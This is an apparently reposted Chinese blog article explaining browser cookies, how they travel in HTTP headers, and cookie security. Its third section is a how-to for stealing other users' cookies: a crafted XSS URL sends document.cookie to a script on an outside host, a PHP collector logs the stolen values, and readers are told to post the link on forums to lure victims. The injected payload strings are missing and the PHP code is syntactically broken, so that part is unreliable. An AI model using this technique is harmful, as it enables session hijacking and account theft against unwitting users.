`
8366
  • 浏览: 813002 次
  • 性别: Icon_minigender_1
  • 来自: 西安
社区版块
存档分类
最新评论

Cookie详解

阅读更多

Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!



   一.了解Cookie 适用对象:初级读者



   Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。



   为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。



   Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据(本报第10期第42版对该软件有详细介绍)。

   下载地址
http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe



   二、Cookie的传递流程 适用对象:中级读者



   当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。

Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。



   三、Cookie的编程实现 适用对象:高级读者



   多数网页编程语言都提供了对Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。

该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。



   1.分析并构造URL



   首先打开我们要收集Cookie的网站,这里假设是
http://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login....x=28&ok.y=6”的代码,将“”更换为“”再试;如果执行成功,就开始构造URL:“http://www.cbifamily.org/cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ... swd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。



   2.编制PHP脚本



   该脚本的作用就是收集Cookie文件,具体内容如下:





$info = getenv("QUERY_STRING";

if ($info) {

$fp = fopen("info.txt","a";

fwrite($fp,$info."\n";

fclose($fp);

}

header("Location:
http://www.XXX.net\";

?>



四、Cookie的安全问题 适用对象:所有希望上网安全的读者



   1.Cookie欺骗



   Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。



   2.Flash的代码隐患



Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。

分享到:
评论

相关推荐

    浏览器中使用JS操作Cookie详解

    并且在Cookie详解这篇文章中,介绍了如何在服务器端和使用JavaScript创建Cookie,并设置属性。 ​我们知道,Cookie是存储在客户端的,并且现在前后端分离慢慢变得流行起来,因此如何在浏览器上可以使用方便快捷的...

    java web cookie 详解 java web cookie 详解

    java web cookie 详解

    cookie 详解

    ### Cookie详解 #### 一、会话跟踪技术概述 会话跟踪是Web开发中的关键环节之一,用于确保用户的每次操作都被正确地关联到相应的会话中。常见的会话跟踪技术主要包括Cookie与Session。 #### 二、Cookie机制 ####...

    Cookie详解.pdf

    Cookie 详解 Cookie 是一种在 Web 应用程序中存储用户特定信息的方法。它是一小段文本信息,伴随着用户请求和页面在 Web 服务器和浏览器之间传递。Cookie 包含每次用户访问站点时 Web 应用程序都可以读取的信息。 ...

    session和cookie详解

    ### Session与Cookie详解 #### 一、Session与Cookie的基本概念 **Session** 和 **Cookie** 是Web开发中用于保持客户端与服务器之间会话状态的重要技术。由于HTTP协议本身是无状态的,即服务器无法自动记录客户端的...

    Flash Cookie详解及其在网络教育中的应用.pdf

    Flash Cookie详解及其在网络教育中的应用

    session与cookie详解

    关于session和cookie的详细解释 <br>所有疑问通吃

    Cookie详解[定义].pdf

    此外,Cookie还包含一个域(domain)属性,限制了Cookie的可见性,只有指定域下的服务器才能访问该Cookie。路径(path)属性则指定了Cookie在哪个URL路径下有效。 4. **Session与Cookie的关系**: Session是服务器...

    php cookie 详解使用实例

    **PHP Cookie 详解与使用实例** Cookie 是一种在 Web 开发中常见的技术,它用于在客户端(用户的浏览器)和服务器之间存储和交换信息。本文将详细介绍 Cookie 的概念、工作原理以及如何在 PHP 中创建、读取、更新和...

    JavaScript操作Cookie详解

    主要介绍了JavaScript操作Cookie详解,本文讲解了什么是Cookie、Cookie基础知识、Cookie常见问题、cookie 有两种清除方式、Cookie基础用法、Cookie高级用法等内容,需要的朋友可以参考下

    cookie

    Cookie是Web开发中的一种关键机制,它用于在客户端和服务器之间传递信息,特别是在维护用户状态时。这篇博客文章深入探讨了Cookie的工作原理及其在实际应用中的使用。 首先,Cookie是由服务器端通过HTTP响应头Set-...

    JAVA之cookie与session

    #### 二、Cookie详解 **Cookie** 的主要功能是存储用户的状态信息,并且这些信息可以在多次请求之间共享。以下是 Cookie 的几个关键特性: 1. **Cookie的结构**:Cookie 由名称、值和一系列可选属性组成。这些属性...

    python使用cookie库操保存cookie详解

    Cookie用于服务器实现会话,用户登录及相关功能时进行状态管理。要在用户浏览器上安装cookie,HTTP服务器向HTTP响应添加类似以下内容的HTTP报头: 复制代码 代码如下:Set-Cookie:session=8345234;expires=Sun,15-...

    phpwind登录cookie演示

    《PHPWind登录Cookie详解》 PHPWind是一款广泛应用于社区建站的开源软件,其登录机制中的Cookie技术是网站用户身份验证的重要组成部分。本文将详细解析PHPWind登录过程中的Cookie使用,帮助开发者理解这一核心功能...

    JavaScript cookie详解及简单实例应用

    本文详细介绍了JavaScript中cookie的概念、基本属性以及如何在实际开发中应用cookie。cookie是一种能够让web浏览器存储小量数据并将其在浏览器和服务器之间传递的技术。其重要性在于能够在用户浏览器中持久化存储...

    chrome插件-editthiscookie

    **Chrome插件——EditThisCookie详解** Chrome浏览器作为全球广泛使用的网页浏览工具,其丰富的扩展插件库是其一大特色。其中,“EditThisCookie”是一款备受用户青睐的插件,专为Google Chrome量身定制,旨在帮助...

    用js写的cookie

    ### 使用JavaScript操作Cookie详解 #### 一、Cookie简介 Cookie是一种服务器端发送到客户端的小型文本文件,存储在客户端硬盘上。当用户访问网站时,这些Cookie会被重新发送回服务器,以便服务器能够识别用户并...

    第二节 XSS盗取cookie-01

    XSS盗取cookie详解 在Web安全领域中,XSS(Cross-Site Scripting)是一种常见的攻击手法,通过inject恶意脚本来盗取用户的Cookie信息。下面我们将详细介绍XSS盗取cookie的攻击原理、实施方法和防御策略。 Cookie...

    cookie,jsp详细介绍

    ### Cookie详解及JSP中的应用 #### 一、Cookie简介 Cookie是一种常用的技术,用于存储用户的浏览器信息。它被广泛应用于网站中,帮助网站记住用户的偏好设置或登录状态等信息,从而提供更个性化的用户体验。 ####...

Global site tag (gtag.js) - Google Analytics